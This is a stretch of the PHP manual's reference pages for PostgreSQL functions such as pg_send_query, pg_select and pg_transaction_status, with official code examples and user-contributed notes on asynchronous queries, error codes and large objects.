  echo pg_result_error($res1);
?>

See Also

  • pg_result_error_field() - Returns an individual field of an error report.
  • pg_query() - Execute a query
  • pg_send_query() - Sends asynchronous query
  • pg_get_result() - Get asynchronous query result
  • pg_last_error() - Get the last error message string of a connection
  • pg_last_notice() - Returns the last notice message from PostgreSQL server

User Contributed Notes

spamuser at test dot com 16-Mar-2011 01:14
pg_result_error does NOT work with prepared statements.
axon dot wp at wp dot pl 02-Mar-2006 04:20
You can  use pg_set_error_verbosity() to retrieve SQLSTATUS from pg_last_error().
15-Mar-2004 04:12
Because pg_query() returns FALSE if the query fails, you must must use pg_send_query() and pg_get_result() to get the result handle.

PostgreSQL 7.4 introduced a new function called PQresultErrorField() that can be used to get SQLSTATE code from a query, which is far more useful than the error string returned from pg_result_error().
http://www.postgresql.org/docs/7.4/static/libpq-exec.html
http://www.postgresql.org/docs/7.4/static/errcodes-appendix.html

Here's a patch that adds the pg_result_error_field() function to PHP:
http://collapsed.net/patches/php-4.3.5RC3-pg_result_error_field.diff
(To apply the patch cd into your php-4.3.5RC directory and type: patch -p1 </path/to/php-4.3.5RC3-pg_result_error_field.diff)

Example code:
<?php
  if(!($db = pg_connect("user=foo password=bar dbname=foobar")))
    die("pg_connect");

  if(!pg_send_query($db, "SELECT foo FROM bar"))
    die("pg_send_query");

  if(!($result = pg_get_result($db)))
    die("pg_get_result");

  echo(pg_result_error($result) . "<br />\n");

  /* only available if you have patched php */
  if(function_exists("pg_result_error_field"))
  {
    $fieldcode = array(
      "PGSQL_DIAG_SEVERITY",        "PGSQL_DIAG_SQLSTATE",
      "PGSQL_DIAG_MESSAGE_PRIMARY", "PGSQL_DIAG_MESSAGE_DETAIL",
      "PGSQL_DIAG_MESSAGE_HINT",    "PGSQL_DIAG_STATEMENT_POSITION",
      "PGSQL_DIAG_CONTEXT",         "PGSQL_DIAG_SOURCE_FILE",
      "PGSQL_DIAG_SOURCE_LINE",     "PGSQL_DIAG_SOURCE_FUNCTION");

    foreach($fieldcode as $fcode)
    {
      printf("%s: %s<br />\n",
        $fcode,
        pg_result_error_field($result, constant($fcode)));
    }

    pg_free_result($result);
  }
?>

<?php pg_result_error_field($result, PGSQL_DIAG_SQLSTATE); ?>
Returns the SQLSTATE code.
pg_result_error_field
pg_result_seek
PostgreSQL Functions


Set internal row offset in result resource

pg_result_error
pg_result_status
PostgreSQL Functions
PHP Manual

pg_result_seek

(PHP 4 >= 4.3.0, PHP 5)

pg_result_seek — Set internal row offset in result resource

Description

bool pg_result_seek ( resource $result , int $offset )

pg_result_seek() sets the internal row offset in a result resource.

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

offset

Row to move the internal offset to in the result resource. Rows are numbered starting from zero.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_result_seek() example

<?php

// Connect to the database
$conn = pg_pconnect("dbname=publisher");

// Execute a query
$result = pg_query($conn, "SELECT author, email FROM authors");

// Seek to the 3rd row (assuming there are 3 rows)
pg_result_seek($result, 2);

// Fetch the 3rd row
$row = pg_fetch_row($result);

?>

See Also

  • pg_fetch_row() - Get a row as an enumerated array
  • pg_fetch_assoc() - Fetch a row as an associative array
  • pg_fetch_array() - Fetch a row as an array
  • pg_fetch_object() - Fetch a row as an object
  • pg_fetch_result() - Returns values from a result resource

User Contributed Notes

andrew-php dot net at andrew dot net dot au 17-Sep-2004 08:01
Ah, this is a handy feature for resetting the record index, for example, if you're used pg_fetch_{row,array,assoc} to iterate over the result set, and you want to do it again later on, without reexecuting your query. Something like:

<?php pg_result_seek($result, 0); ?>

will allow you to iterate over the result set all over again...
pg_result_error
pg_result_status
PostgreSQL Functions


Get status of query result

pg_result_seek
pg_select
PostgreSQL Functions
PHP Manual

pg_result_status

(PHP 4 >= 4.2.0, PHP 5)

pg_result_status — Get status of query result

Description

mixed pg_result_status ( resource $result [, int $type = PGSQL_STATUS_LONG ] )

pg_result_status() returns the status of a result resource, or the PostgreSQL command completion tag associated with the result

Parameters

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

type

Either PGSQL_STATUS_LONG to return the numeric status of the result, or PGSQL_STATUS_STRING to return the command tag of the result. If not specified, PGSQL_STATUS_LONG is the default.

Return Values

Possible return values are PGSQL_EMPTY_QUERY, PGSQL_COMMAND_OK, PGSQL_TUPLES_OK, PGSQL_COPY_OUT, PGSQL_COPY_IN, PGSQL_BAD_RESPONSE, PGSQL_NONFATAL_ERROR and PGSQL_FATAL_ERROR if PGSQL_STATUS_LONG is specified. Otherwise, a string containing the PostgreSQL command tag is returned.

Changelog

Version | Description
4.3.0 | The type parameter was added.

Examples

Example #1 pg_result_status() example

<?php

// Connect to the database
$conn = pg_pconnect("dbname=publisher");

// Execute a COPY
$result = pg_query($conn, "COPY authors FROM STDIN;");

// Get the result status
$status = pg_result_status($result);

// Determine status
if ($status == PGSQL_COPY_IN)
   echo "Copy began.";
else
   echo "Copy failed.";

?>

The above example will output:

Copy began.

See Also

  • pg_connection_status() - Get connection status

User Contributed Notes

Meej Vaj 08-Jun-2005 06:45
If on "accident" your program passes pg_result_status a variable that is NOT a actual pg resource, it will return an empty string.
(This is important to know if you want to make sure a pg resource is "good" before attempting some operation on it).
romix at gmx dot de 16-Oct-2002 06:29
0 = PGSQL_EMPTY_QUERY
1 = PGSQL_COMMAND_OK
2 = PGSQL_TUPLES_OK
3 = PGSQL_COPY_TO
4 = PGSQL_COPY_FROM
5 = PGSQL_BAD_RESPONSE
6 = PGSQL_NONFATAL_ERROR
7 = PGSQL_FATAL_ERROR
pg_result_seek
pg_select
PostgreSQL Functions


Select records

pg_result_status
pg_send_execute
PostgreSQL Functions
PHP Manual

pg_select

(PHP 4 >= 4.3.0, PHP 5)

pg_select — Select records

Description

mixed pg_select ( resource $connection , string $table_name , array $assoc_array [, int $options = PGSQL_DML_EXEC ] )

pg_select() selects records specified by assoc_array which has field=>value. For a successful query, it returns an array containing all records and fields that match the condition specified by assoc_array.

If options is specified, pg_convert() is applied to assoc_array with the specified flags.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

connection

PostgreSQL database connection resource.

table_name

Name of the table from which to select rows.

assoc_array

An array whose keys are field names in the table table_name, and whose values are the conditions that a row must meet to be retrieved.

options

Any number of PGSQL_CONV_FORCE_NULL, PGSQL_DML_NO_CONV, PGSQL_DML_EXEC, PGSQL_DML_ASYNC or PGSQL_DML_STRING combined. If PGSQL_DML_STRING is part of the options then query string is returned.

Return Values

Returns TRUE on success or FALSE on failure. Returns string if PGSQL_DML_STRING is passed via options.

Examples

Example #1 pg_select() example

<?php
  $db = pg_connect('dbname=foo');
  // This is safe, since $_POST is converted automatically
  $rec = pg_select($db, 'post_log', $_POST);
  if ($rec) {
      echo "Records selected\n";
      var_dump($rec);
  } else {
      echo "User must have sent wrong inputs\n";
  }
?>

See Also

  • pg_convert() - Convert associative array values into suitable for SQL statement

User Contributed Notes

wietse at cj2 dot nl 27-Feb-2006 08:20
David mentioned that you can't do a Select all.
However, when executing this script:
<?php
    $conn_string = "dbname=mydb";
    $db = pg_connect($conn_string);
    $selectfields = array("imgid" => "");
    $records = pg_select($db,"mmsfiles",$selectfields);
    print_r($records);
?>
...I get this result:
Array
(
    [0] => Array
        (
            [imgid] => 1
            [file] => /home/wietse/public_html/mms/images/1.gif
            [thumb] =>
        )
    [1] => Array
        (
            [imgid] => 2
            [file] => /home/wietse/public_html/mms/images/2.gif
            [thumb] =>
        )
    [2] => Array
        (
            [imgid] => 3
            [file] => /home/wietse/public_html/mms/images/3.gif
            [thumb] =>
        )
    [3] => Array
        (
            [imgid] => 4
            [file] => /home/wietse/public_html/mms/images/4.gif
            [thumb] =>
        )
)
david dot tulloh at infaze dot com dot au 16-May-2005 09:46
Valid options are PGSQL_DML_NO_CONV, PGSQL_DML_EXEC, PGSQL_DMP_ASYNC, PGSQL_DML_STRING (pulled out of source code).

This function does not support selecting from multiple tables.  You can get around this by setting the PGSQL_DML_NO_CONV option.  This prevents the error which occurs when the function tries to convert the condition array.

I think it is also important to point out that the table_name field is not safe, particularily with the PGSQL_DML_NO_CONV option.

The arguements array field is compulsory, as documented.  What isn't so clear is that the array has to actually have some values in it, you can't do a select all.

In summary, this function is good for a very small subset of basic queries.  If you are after anything more complex you are better off with pg_query.
pg_result_status
pg_send_execute
PostgreSQL Functions


Sends a request to execute a prepared statement with given parameters, without waiting for the result(s).

pg_select
pg_send_prepare
PostgreSQL Functions
PHP Manual

pg_send_execute

(PHP 5 >= 5.1.0)

pg_send_execute — Sends a request to execute a prepared statement with given parameters, without waiting for the result(s).

Description

bool pg_send_execute ( resource $connection , string $stmtname , array $params )

Sends a request to execute a prepared statement with given parameters, without waiting for the result(s).

This is similar to pg_send_query_params(), but the command to be executed is specified by naming a previously-prepared statement, instead of giving a query string. The function's parameters are handled identically to pg_execute(). Like pg_execute(), it will not work on pre-7.4 versions of PostgreSQL.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

stmtname

The name of the prepared statement to execute. if "" is specified, then the unnamed statement is executed. The name must have been previously prepared using pg_prepare(), pg_send_prepare() or a PREPARE SQL command.

params

An array of parameter values to substitute for the $1, $2, etc. placeholders in the original prepared query string. The number of elements in the array must match the number of placeholders.

Return Values

Returns TRUE on success, FALSE on failure. Use pg_get_result() to determine the query result.

Examples

Example #1 Using pg_send_execute()

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // Prepare a query for execution
  if (!pg_connection_busy($dbconn)) {
    pg_send_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');
    $res1 = pg_get_result($dbconn);
  }

  // Execute the prepared query.  Note that it is not necessary to escape
  // the string "Joe's Widgets" in any way
  if (!pg_connection_busy($dbconn)) {
    pg_send_execute($dbconn, "my_query", array("Joe's Widgets"));
    $res2 = pg_get_result($dbconn);
  }

  // Execute the same prepared query, this time with a different parameter
  if (!pg_connection_busy($dbconn)) {
    pg_send_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));
    $res3 = pg_get_result($dbconn);
  }

?>

See Also

  • pg_prepare() - Submits a request to create a prepared statement with the given parameters, and waits for completion.
  • pg_send_prepare() - Sends a request to create a prepared statement with the given parameters, without waiting for completion.
  • pg_execute() - Sends a request to execute a prepared statement with given parameters, and waits for the result.

User Contributed Notes

There are no user contributed notes for this page.
pg_select
pg_send_prepare
PostgreSQL Functions


Sends a request to create a prepared statement with the given parameters, without waiting for completion.

pg_send_execute
pg_send_query_params
PostgreSQL Functions
PHP Manual

pg_send_prepare

(PHP 5 >= 5.1.0)

pg_send_prepare — Sends a request to create a prepared statement with the given parameters, without waiting for completion.

Description

bool pg_send_prepare ( resource $connection , string $stmtname , string $query )

Sends a request to create a prepared statement with the given parameters, without waiting for completion.

This is an asynchronous version of pg_prepare(): it returns TRUE if it was able to dispatch the request, and FALSE if not. After a successful call, call pg_get_result() to determine whether the server successfully created the prepared statement. The function's parameters are handled identically to pg_prepare(). Like pg_prepare(), it will not work on pre-7.4 versions of PostgreSQL.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

stmtname

The name to give the prepared statement. Must be unique per-connection. If "" is specified, then an unnamed statement is created, overwriting any previously defined unnamed statement.

query

The parameterized SQL statement. Must contain only a single statement. (multiple statements separated by semi-colons are not allowed.) If any parameters are used, they are referred to as $1, $2, etc.

Return Values

Returns TRUE on success, FALSE on failure. Use pg_get_result() to determine the query result.

Examples

Example #1 Using pg_send_prepare()

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // Prepare a query for execution
  if (!pg_connection_busy($dbconn)) {
    pg_send_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');
    $res1 = pg_get_result($dbconn);
  }

  // Execute the prepared query.  Note that it is not necessary to escape
  // the string "Joe's Widgets" in any way
  if (!pg_connection_busy($dbconn)) {
    pg_send_execute($dbconn, "my_query", array("Joe's Widgets"));
    $res2 = pg_get_result($dbconn);
  }

  // Execute the same prepared query, this time with a different parameter
  if (!pg_connection_busy($dbconn)) {
    pg_send_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));
    $res3 = pg_get_result($dbconn);
  }

?>

See Also

  • pg_connect() - Open a PostgreSQL connection
  • pg_pconnect() - Open a persistent PostgreSQL connection
  • pg_execute() - Sends a request to execute a prepared statement with given parameters, and waits for the result.
  • pg_send_execute() - Sends a request to execute a prepared statement with given parameters, without waiting for the result(s).
  • pg_send_query_params() - Submits a command and separate parameters to the server without waiting for the result(s).

User Contributed Notes

There are no user contributed notes for this page.
pg_send_execute
pg_send_query_params
PostgreSQL Functions


Submits a command and separate parameters to the server without waiting for the result(s).

pg_send_prepare
pg_send_query
PostgreSQL Functions
PHP Manual

pg_send_query_params

(PHP 5 >= 5.1.0)

pg_send_query_params — Submits a command and separate parameters to the server without waiting for the result(s).

Description

bool pg_send_query_params ( resource $connection , string $query , array $params )

Submits a command and separate parameters to the server without waiting for the result(s).

This is equivalent to pg_send_query() except that query parameters can be specified separately from the query string. The function's parameters are handled identically to pg_query_params(). Like pg_query_params(), it will not work on pre-7.4 PostgreSQL connections, and it allows only one command in the query string.

Parameters

connection

PostgreSQL database connection resource.

query

The parameterized SQL statement. Must contain only a single statement. (multiple statements separated by semi-colons are not allowed.) If any parameters are used, they are referred to as $1, $2, etc.

params

An array of parameter values to substitute for the $1, $2, etc. placeholders in the original prepared query string. The number of elements in the array must match the number of placeholders.

Return Values

Returns TRUE on success or FALSE on failure.

Use pg_get_result() to determine the query result.

Examples

Example #1 Using pg_send_query_params()

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  // Using parameters.  Note that it is not necessary to quote or escape
  // the parameter.
  pg_send_query_params($dbconn, 'select count(*) from authors where city = $1', array('Perth'));

  // Compare against basic pg_send_query usage
  $str = pg_escape_string('Perth');
  pg_send_query($dbconn, "select count(*) from authors where city = '${str}'");
?>

See Also

  • pg_send_query() - Sends asynchronous query

User Contributed Notes

There are no user contributed notes for this page.
pg_send_prepare
pg_send_query
PostgreSQL Functions


Sends asynchronous query

pg_send_query_params
pg_set_client_encoding
PostgreSQL Functions
PHP Manual

pg_send_query

(PHP 4 >= 4.2.0, PHP 5)

pg_send_query — Sends asynchronous query

Description

bool pg_send_query ( resource $connection , string $query )

pg_send_query() sends a query or queries asynchronously to the connection. Unlike pg_query(), it can send multiple queries at once to PostgreSQL and get the results one by one using pg_get_result().

Script execution is not blocked while the queries are executing. Use pg_connection_busy() to check if the connection is busy (i.e. the query is executing). Queries may be cancelled using pg_cancel_query().

Although the user can send multiple queries at once, multiple queries cannot be sent over a busy connection. If a query is sent while the connection is busy, it waits until the last query is finished and discards all its results.

Parameters

connection

PostgreSQL database connection resource.

query

The SQL statement or statements to be executed.

Data inside the query should be properly escaped.

Return Values

Returns TRUE on success or FALSE on failure.

Use pg_get_result() to determine the query result.

Examples

Example #1 pg_send_query() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from authors; select count(*) from authors;");
  }

  $res1 = pg_get_result($dbconn);
  echo "First call to pg_get_result(): $res1\n";
  $rows1 = pg_num_rows($res1);
  echo "$res1 has $rows1 records\n\n";

  $res2 = pg_get_result($dbconn);
  echo "Second call to pg_get_result(): $res2\n";
  $rows2 = pg_num_rows($res2);
  echo "$res2 has $rows2 records\n";
?>

The above example will output:

First call to pg_get_result(): Resource id #3
Resource id #3 has 3 records

Second call to pg_get_result(): Resource id #4
Resource id #4 has 1 records

See Also

  • pg_query() - Execute a query
  • pg_cancel_query() - Cancel an asynchronous query
  • pg_get_result() - Get asynchronous query result
  • pg_connection_busy() - Get connection is busy or not

User Contributed Notes

moodsey211 at gmail dot com 13-Dec-2010 01:48
pg_send_query would not stop your script from executing but it would stop the script from exiting.

Example:

<?php
$con = pg_connect('dbname=payroll');
pg_send_query('SELECT process_payroll()'); // Where process_payroll is a super long process
?>

You would still need to wait for the query to finish before the any display would be sent to the browser. And surprisingly, unlike pg_query this script would not generate the Maximum execution time error.
rw burgholzer is name at deq dot virginia dot gov 30-Jul-2009 09:36
Regarding the failure to process them all now, then retrieve the results later, I found that all queries would return successfully if I added a further condition to your while loop in the "stack_query()" method.

By adding:
&& (pg_transaction_status($conn) === PGSQL_TRANSACTION_IDLE ) )

Every query executed with no errors.

<?php
$conn = pg_connect("dbname=dbname host=localhost user=psql ");
if ($conn === FALSE)
  exit("Can't connect to db");

$q = array();
// send some queries
foreach (range(0, 50) as $i)
  stack_query($q, $conn, "SELECT 'query $i' AS str;");
// receive them
while (true)
  {
    $left = stack_query($q, $conn);
    echo "$left left... ";
    $result = pg_get_result($conn);
    if ($left == 0 && $result === FALSE)
      break;
    $row = pg_fetch_assoc($result);
    // depending on race conditions, you wont get all your original queries here.
    echo "got $row[str]\n";
  }

function stack_query(&$queries, $conn, $sql = FALSE)
{
  if ($sql !== FALSE)
    $queries[] = $sql;
  while (count($queries) && !pg_connection_busy($conn)  && (pg_transaction_status($conn) === PGSQL_TRANSACTION_IDLE ) )
    pg_send_query($conn, array_shift($queries));
  return count($queries) + (pg_connection_busy($conn) ? 1 : 0);
}
?>
vincentdephily 29-Nov-2005 05:25
Note that if you send a query without calling pg_get_result() for the previous one (supposing it has finished and the connection is not busy), the previous query will get discarded.

See for yourself (tested on php4.4.0, postgres8.0.4, Linux/FreeBSD) :
<?
$conn = pg_connect("dbname=template1 host=localhost user=pgsql");
if ($conn === FALSE)
  exit("Can't connect to db");

$q = array();
// send some queries
foreach (range(0, 500) as $i)
  stack_query($q, $conn, "SELECT 'query $i' AS str;");
// receive them
while (true)
  {
    $left = stack_query($q, $conn);
    echo "$left left... ";
    $result = pg_get_result($conn);
    if ($left == 0 && $result === FALSE)
      break;
    $row = pg_fetch_assoc($result);
    // depending on race conditions, you wont get all your original queries here.
    echo "got $row[str]\n";
  }

function stack_query(&$queries, $conn, $sql = FALSE)
{
  if ($sql !== FALSE)
    $queries[] = $sql;
  while (count($queries) && !pg_connection_busy($conn))
    pg_send_query($conn, array_shift($queries));
  return count($queries) + (pg_connection_busy($conn) ? 1 : 0);
}
?>

You will have to write a higher level of abstraction if you want a "send all queries now, receive them later" behaviour.
Likeyouover others at hotmail dot com 02-Sep-2003 02:29
<?php
// --------- OPEN CONN ---

   $conn = pg_connect("host='127.0.0.1' dbname='test' user='usertest' password='passtest'");

// --------- OPEN FILE ---

   $fp = fopen('logo.gif', "r");
   $buffer = fread($fp, filesize('logo.gif'));
   fclose($fp);

// --------- CREATE - INSERT OID ---

   pg_exec($conn, "begin");

   $oid = pg_locreate($conn);

   $rs = pg_exec($conn,"INSERT INTO test(tipo, images) VALUES('A1', $oid);");
   $handle = pg_loopen ($conn, $oid, "w");

   pg_lowrite ($handle, $buffer);
   pg_loclose ($handle);

   pg_exec($conn, "commit");

// --------- OPEN - INSERT OID ---

   $rs = pg_exec($conn, "SELECT images FROM test WHERE tipo = 'A1';");
   $row = pg_fetch_row($rs, 0);

   pg_exec($conn, "begin");
   $loid = pg_loopen($conn, $row[0], "r");

   header("Content-type: image/gif");

   pg_loreadall($loid);
   pg_loclose($loid);

   pg_exec ($conn, "commit");

// --------- UNLINK OID ---

   pg_exec($conn, "begin");

   $loid = $row[0];
   pg_lounlink($conn, $loid);

   pg_exec ($conn, "commit");

// --------- DELETE OID ---

   pg_exec($conn, "DELETE FROM test WHERE tipo = 'A1';");

// --------- CLOSE CONN ---

   pg_close();
?>
Mikewithme at yahoo dot com 02-Sep-2003 02:28
Due to a bug, OLD API does not available with PHP 4.2.0 and 4.2.1.

PHP 4.2.2 will support OLD API again and will be kept long enough.

New API will be available PHP 4.2.0 to later versions.
yohgaki at php dot net
19-Jun-2002 04:00
Due to a bug, PHP 4.2.0 and 4.2.1 does not support pg_lo_import() old API. It's fixed in PHP 4.2.2.

BTW, new API will be always available from PHP 4.2.0 to later versions. Older API will be kept long enough, also.
ceco at noxis dot net
15-May-2002 09:08
it works for me (php-4.2.1)

not like this

int pg_lo_import ( string pathname [, resource connection])

but
int pg_lo_import ( resource connection, string pathname )

don't know the reason
Ron Howard 04-Jan-2003 07:20
If there is an error in one of your queries, the queries following it will not get executed, and there will *not* be an error message displayed. The only way I can think of to determine if an SQL error happened is to use pg_trace.

Example:

pg_send_query($connection,
    "SELECT id FROM users;
    SELECT * FROM customers;
     [INVALID-SQL-STATEMENT];
    SELECT name FROM countries;");

while ($result = pg_get_result($connection))
    $results[] = $result;

The $results array will only have two items in it.
pg_send_query_params
pg_set_client_encoding
PostgreSQL Functions


Set the client encoding

pg_send_query
pg_set_error_verbosity
PostgreSQL Functions
PHP Manual

pg_set_client_encoding

(PHP 4 >= 4.0.3, PHP 5)

pg_set_client_encoding — Set the client encoding

Description

int pg_set_client_encoding ([ resource $connection ], string $encoding )

pg_set_client_encoding() sets the client encoding and returns 0 if success or -1 if error.

PostgreSQL will automatically convert data in the backend database encoding into the frontend encoding.

Note:

The function used to be called pg_setclientencoding().

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

encoding

The required client encoding. One of SQL_ASCII, EUC_JP, EUC_CN, EUC_KR, EUC_TW, UNICODE, MULE_INTERNAL, LATINX (X=1...9), KOI8, WIN, ALT, SJIS, BIG5 or WIN1250.

The exact list of available encodings depends on your PostgreSQL version, so check your PostgreSQL manual for a more specific list.

Return Values

Returns 0 on success or -1 on error.

Examples

Example #1 pg_set_client_encoding() example

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occured.\n";
  exit;
}

// Set the client encoding to UNICODE.  Data will be automatically
// converted from the backend encoding to the frontend.
pg_set_client_encoding($conn, "UNICODE");

$result = pg_query($conn, "SELECT author, email FROM authors");
if (!$result) {
  echo "An error occured.\n";
  exit;
}

// Write out UTF-8 data
while ($row = pg_fetch_row($result)) {
  echo "Author: $row[0]  E-mail: $row[1]";
  echo "<br />\n";
}

?>

See Also

  • pg_client_encoding() - Gets the client encoding

User Contributed Notes

13-Jul-2001 08:19
pg_query($connection, "set client_encoding to '$encoding'") can be used instead.
pg_send_query
pg_set_error_verbosity
PostgreSQL Functions


Determines the verbosity of messages returned by pg_last_error and pg_result_error.

pg_set_client_encoding
pg_trace
PostgreSQL Functions
PHP Manual

pg_set_error_verbosity

(PHP 5 >= 5.1.0)

pg_set_error_verbosity — Determines the verbosity of messages returned by pg_last_error() and pg_result_error().

Description

int pg_set_error_verbosity ([ resource $connection ], int $verbosity )

Determines the verbosity of messages returned by pg_last_error() and pg_result_error().

pg_set_error_verbosity() sets the verbosity mode, returning the connection's previous setting. In PGSQL_ERRORS_TERSE mode, returned messages include severity, primary text, and position only; this will normally fit on a single line. The default mode (PGSQL_ERRORS_DEFAULT) produces messages that include the above plus any detail, hint, or context fields (these may span multiple lines). The PGSQL_ERRORS_VERBOSE mode includes all available fields. Changing the verbosity does not affect the messages available from already-existing result objects, only subsequently-created ones.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

verbosity

The required verbosity: PGSQL_ERRORS_TERSE, PGSQL_ERRORS_DEFAULT or PGSQL_ERRORS_VERBOSE.

Return Values

The previous verbosity level: PGSQL_ERRORS_TERSE, PGSQL_ERRORS_DEFAULT or PGSQL_ERRORS_VERBOSE.

Examples

Example #1 pg_set_error_verbosity() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  if (!pg_connection_busy($dbconn)) {
      pg_send_query($dbconn, "select * from doesnotexist;");
  }

  pg_set_error_verbosity($dbconn, PGSQL_ERRORS_VERBOSE);
  $res1 = pg_get_result($dbconn);
  echo pg_result_error($res1);
?>

See Also

  • pg_last_error() - Get the last error message string of a connection
  • pg_result_error() - Get error message associated with result

User Contributed Notes

There are no user contributed notes for this page.
pg_set_client_encoding
pg_trace
PostgreSQL Functions


Enable tracing a PostgreSQL connection

pg_set_error_verbosity
pg_transaction_status
PostgreSQL Functions
PHP Manual

pg_trace

(PHP 4 >= 4.0.1, PHP 5)

pg_trace — Enable tracing a PostgreSQL connection

Description

bool pg_trace ( string $pathname [, string $mode = "w" [, resource $connection ]] )

pg_trace() enables tracing of the PostgreSQL frontend/backend communication to a file. To fully understand the results, one needs to be familiar with the internals of PostgreSQL communication protocol.

For those who are not, it can still be useful for tracing errors in queries sent to the server, you could do for example grep '^To backend' trace.log and see what queries actually were sent to the PostgreSQL server. For more information, refer to the » PostgreSQL Documentation.

Parameters

pathname

The full path and file name of the file in which to write the trace log. Same as in fopen().

pathname

An optional file access mode, same as for fopen().

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 pg_trace() example

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
   pg_trace('/tmp/trace.log', 'w', $pgsql_conn);
   pg_query("SELECT 1");
   pg_untrace($pgsql_conn);
   // Now /tmp/trace.log will contain backend communication
} else {
   print pg_last_error($pgsql_conn);
   exit;
}
?>

See Also

  • fopen() - Opens file or URL
  • pg_untrace() - Disable tracing of a PostgreSQL connection

User Contributed Notes

There are no user contributed notes for this page.
pg_set_error_verbosity
pg_transaction_status
PostgreSQL Functions


Returns the current in-transaction status of the server.

pg_trace
pg_tty
PostgreSQL Functions
PHP Manual

pg_transaction_status

(PHP 5 >= 5.1.0)

pg_transaction_status — Returns the current in-transaction status of the server.

Description

int pg_transaction_status ( resource $connection )

Returns the current in-transaction status of the server.

Caution

pg_transaction_status() will give incorrect results when using a PostgreSQL 7.3 server that has the parameter autocommit set to off. The server-side autocommit feature has been deprecated and does not exist in later server versions.

Parameters

connection

PostgreSQL database connection resource.

Return Values

The status can be PGSQL_TRANSACTION_IDLE (currently idle), PGSQL_TRANSACTION_ACTIVE (a command is in progress), PGSQL_TRANSACTION_INTRANS (idle, in a valid transaction block), or PGSQL_TRANSACTION_INERROR (idle, in a failed transaction block). PGSQL_TRANSACTION_UNKNOWN is reported if the connection is bad. PGSQL_TRANSACTION_ACTIVE is reported only when a query has been sent to the server and not yet completed.

Examples

Example #1 pg_transaction_status() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
  $stat = pg_transaction_status($dbconn);
  if ($stat === PGSQL_TRANSACTION_UNKNOWN) {
      echo 'Connection is bad';
  } else if ($stat === PGSQL_TRANSACTION_IDLE) {
      echo 'Connection is currently idle';
  } else {
      echo 'Connection is in a transaction state';
  }
?>

User Contributed Notes

hofman dot tomas at gmail dot com 08-Jul-2010 01:52
Exact values of constants:

PGSQL_TRANSACTION_IDLE = 0
PGSQL_TRANSACTION_ACTIVE = 1
PGSQL_TRANSACTION_INTRANS = 2
PGSQL_TRANSACTION_INERROR = 3
PGSQL_TRANSACTION_UNKNOWN = 4
btherl at yahoo dot com dot au 17-Jul-2006 07:27
This function is implemented in C, so there's no way to mimic it in SQL for older versions of PHP.  But you can mimic some of the functionality by using a wrapper which keeps track of when you begin and commit/rollback transactions.
pg_trace
pg_tty
PostgreSQL Functions


Return the TTY name associated with the connection

pg_transaction_status
pg_unescape_bytea
PostgreSQL Functions
PHP Manual

pg_tty

(PHP 4, PHP 5)

pg_tty — Return the TTY name associated with the connection

Description

string pg_tty ([ resource $connection ] )

pg_tty() returns the TTY name that server side debugging output is sent to on the given PostgreSQL connection resource.

Note:

pg_tty() is obsolete, since the server no longer pays attention to the TTY setting, but the function remains for backwards compatibility.

Parameters

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

Return Values

A string containing the debug TTY of the connection, or FALSE on error.

Examples

Example #1 pg_tty() example

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
   print "Server debug TTY is: " . pg_tty($pgsql_conn) . "<br/>\n";
} else {
   print pg_last_error($pgsql_conn);
   exit;
}
?>

User Contributed Notes

There are no user contributed notes for this page.
pg_transaction_status
pg_unescape_bytea
PostgreSQL Functions


Unescape binary for bytea type

pg_tty
pg_untrace
PostgreSQL Functions
PHP Manual

pg_unescape_bytea

(PHP 4 >= 4.3.0, PHP 5)

pg_unescape_bytea — Unescape binary for bytea type

Description

string pg_unescape_bytea ( string $data )

pg_unescape_bytea() unescapes PostgreSQL bytea data values. It returns the unescaped string, possibly containing binary data.

Note:

When you SELECT a bytea type, PostgreSQL returns octal byte values prefixed with '\' (e.g. \032). Users are supposed to convert back to binary format manually.

This function requires PostgreSQL 7.2 or later. With PostgreSQL 7.2.0 and 7.2.1, bytea values must be cast when you enable multi-byte support. i.e. INSERT INTO test_table (image) VALUES ('$image_escaped'::bytea); PostgreSQL 7.2.2 or later does not need a cast. The exception is when the client and backend character encoding does not match, and there may be multi-byte stream error. User must then cast to bytea to avoid this error.

Parameters

data

A string containing PostgreSQL bytea data to be converted into a PHP binary string.

Return Values

A string containing the unescaped data.

Examples

Example #1 pg_unescape_bytea() example

<?php
  // Connect to the database
  $dbconn = pg_connect('dbname=foo');

  // Get the bytea data
  $res = pg_query("SELECT data FROM gallery WHERE name='Pine trees'");
  $raw = pg_fetch_result($res, 'data');

  // Convert to binary and send to the browser
  header('Content-type: image/jpeg');
  echo pg_unescape_bytea($raw);
?>

See Also

  • pg_escape_bytea() - Escape a string for insertion into a bytea field
  • pg_escape_string() - Escape a string for query

User Contributed Notes

